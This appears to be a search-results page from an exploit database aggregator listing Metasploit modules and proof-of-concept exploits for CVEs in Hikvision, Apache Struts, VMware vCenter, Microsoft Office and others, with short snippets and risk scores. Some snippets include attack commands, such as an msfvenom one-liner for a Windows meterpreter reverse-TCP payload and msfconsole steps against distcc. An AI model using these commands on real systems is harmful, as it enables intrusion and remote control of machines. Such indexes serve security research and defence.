Lucene search
+L

48 matches found

Kitploit
Kitploit
added 2026/09/15 8:27 a.m.7 views

CVE-2021-36260-metasploit

CVE-2021-36260-metasploit the metasploit scriptPOC about CVE-2021-36260. A command injection vulnerability in the web server of some Hikvision product, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. preparation POC...

9.8CVSS8.2AI score0.99869EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/15 3:53 a.m.10 views

apache-struts2-CVE-2017-5638

apache-struts2-CVE-2017-5638 Demo Application and Exploit Sample Apache Struts2 App Struts2-showcase: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12 Exploit Reference: https://github.com/rapid7/metasploit-framework/issues/8064...

10CVSS8.2AI score0.99999EPSS
SaveExploits46References1
Kitploit
Kitploit
added 2026/09/15 1:11 a.m.4 views

CVE-2017-9805-Apache-Struts-Fuzz-N-Sploit

CVE-2017-9805StrutsFuzzNSploit Just a terrible script I wrote in Python3 to fuzz and if desired, exploit via Metasploit: CVE-2017-9805 RCE for CTF's or whatever in accordance with the thugcrowd DWTFYW Public License I stole from those cool cats =...

8.1CVSS7.4AI score0.99396EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/15 12:16 a.m.7 views

CVE-2012-2982_Python

CVE-2012-2982Python Script Python PoC como un ejercicio de tryhackme: https://tryhackme.com/room/intropocscripting Este es el metasploit CVE: https://www.exploit-db.com/exploits/21851 Esos son los cambios realizados después del descubrimiento del Exploit:...

6.5CVSS5.9AI score0.62181EPSS
SaveExploits10References1
Kitploit
Kitploit
added 2026/09/14 9:29 p.m.10 views

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 Unauthorized RCE in VMware vCenter metasploit exploit script preparation root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

10CVSS8.5AI score0.99865EPSS
SaveExploits48
Kitploit
Kitploit
added 2026/09/14 7:39 p.m.4 views

CVE-2012-1495-Webcalendar-

CVE-2012-1495-Webcalendar- Prerequisites : Kali Linux or Parrot OS machine 1- Clone the repository 2- Extract the archive "webcalendar" 3- Create the Docker container and launch it using the commands: docker build -t webcalendar . docker run -d -p 80:80 webcalendar 4- On your Kali machine, launch...

9.8CVSS8.1AI score0.79764EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/09/14 2:39 p.m.8 views

CVE-2021-22005

CVE-2021-22005-metasploit el script de metasploit POC/EXP sobre CVE-2021-22005 VMware vCenter Server contiene una vulnerabilidad de subida de archivos arbitraria preparación POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir ...

9.8CVSS8.2AI score0.99999EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/12 12:41 p.m.10 views

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

10CVSS8.2AI score0.90227EPSS
SaveExploits25
Kitploit
Kitploit
added 2026/09/11 11:01 p.m.4 views

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit CVE-2021-40444 EXPLOIT TO USE IN METASPLOIT, ALLOWS ATTACKERS TO GET AN REMOTE CODE EXECUTION THROUGH MICROSOFT OFFICE WORD BY INJECTING MALICIOUS CODE IN THE FILE...

8.8CVSS7.1AI score0.9745EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/10 2:25 p.m.8 views

selenium-node-takeover-kit

Metasploit Exploits Este proyecto se ha movido. Para obtener la última versión, haga pull desde https://codeberg.org/JonStratton/selenium-node-takeover-kit Esto combina algunos de los ejemplos siguientes para subir archivos a, descargar archivos de, y ejecutar código en un nodo Selenium a través...

6.1AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/09 3:28 p.m.4 views

Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687

🎬 This YouTube video 1️⃣ Target identification Nmap root@kitploit: nmap -sV -p 3632 192.168.56.102 ✅ Result will be like this: 3632/tcp open distccd v1 👉 So distcc is open and exploitable. 2️⃣ Launch Metasploit root@kitploit: msfconsole 3️⃣ Select the Distcc exploit root@kitploit: use...

9.3CVSS8.2AI score0.88195EPSS
SaveExploits9
Packet Storm
Packet Storm
added 2026/08/11 12:00 a.m.37 views

SonicWall SMA1000 Server-Side Request Forgery / Remote Command Execution

This Metasploit module exploits a server-side request forgery vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to access the internal Erlang distribution service. After authenticating using the known Erlang distribution cookie, the module invokes os:cmd/1 through Erlang RPC to...

8.8AI score
SaveExploits0
Metasploit
Metasploit
added 2025/02/20 6:55 p.m.365 views

HTTP Fetch, Reverse TCP Stager

Fetch and execute an ARMLE payload from an HTTP server. Connect back to the attacker Module Options msf use payload/cmd/linux/http/armle/meterpreter/reversetcp msf payloadreversetcp show actions ...actions... msf payloadreversetcp set ACTION msf payloadreversetcp show options ...show and set...

7.2AI score
SaveExploits0
ATTACKERKB
ATTACKERKB
added 2024/02/21 12:00 a.m.170 views

CVE-2024-1709

ConnectWise ScreenConnect 23.9.7 and prior are affected by an Authentication Bypass Using an Alternate Path or Channel vulnerability, which may allow an attacker direct access to confidential information or critical systems. Recent assessments: sfewer-r7 at February 22, 2024 4:54pm UTC reported:...

10CVSS9.4AI score0.9998EPSS
SaveIn wildExploits10References11
ATTACKERKB
ATTACKERKB
added 2023/10/25 12:00 a.m.41 views

CVE-2023-20273

A vulnerability in the web UI feature of Cisco IOS XE Software could allow an authenticated, remote attacker to inject commands with the privileges of root. This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending crafted input to the web...

10CVSS8.7AI score0.99571EPSS
SaveIn wildExploits28References4
ATTACKERKB
ATTACKERKB
added 2021/03/22 12:00 a.m.89 views

CVE-2021-26295

Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz. Recent assessments: zeroSteiner at March 31, 2021 1:24pm UTC reported: This vulnerability is pretty straightforward to exploit. It is due to an...

10CVSS1.2AI score0.97822EPSS
SaveExploits11References14
zdt
zdt
added 2020/08/05 12:00 a.m.203 views

Documalis Free PDF Editor 5.7.2.26 / Documalis Free PDF Scanner 5.7.2.122 Buffer Overflow Exploit

Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the us...

0.2AI score
SaveExploits0
ATTACKERKB
ATTACKERKB
added 2020/05/19 12:00 a.m.42 views

CVE-2020-13166

The management tool in MyLittleAdmin 3.8 allows remote attackers to execute arbitrary code because machineKey is hardcoded the same for all customers’ installations in web.config, and can be used to send serialized ASP code. Recent assessments: wvu-r7 at May 21, 2020 5:50am UTC reported: Metasplo...

9.8CVSS6.5AI score0.77635EPSS
SaveExploits5References3
Exploit DB
Exploit DB
added 2020/03/11 12:00 a.m.68 views

CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)

class MetasploitModule 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal', 'Description' = %qAn issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a .......

5.3CVSS5.5AI score0.1433EPSS
SaveExploits7
Packet Storm
Packet Storm
added 2019/11/07 12:00 a.m.622 views

Android Janus APK Signature Bypass

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core/payload/apk' class MetasploitModule "Android Janus APK Signature bypass", 'Description' = %q This module exploits CVE-2017-13156 in Android to install ...

7.2CVSS7.7AI score0.20486EPSS
SaveExploits9
Rows per page
Query Builder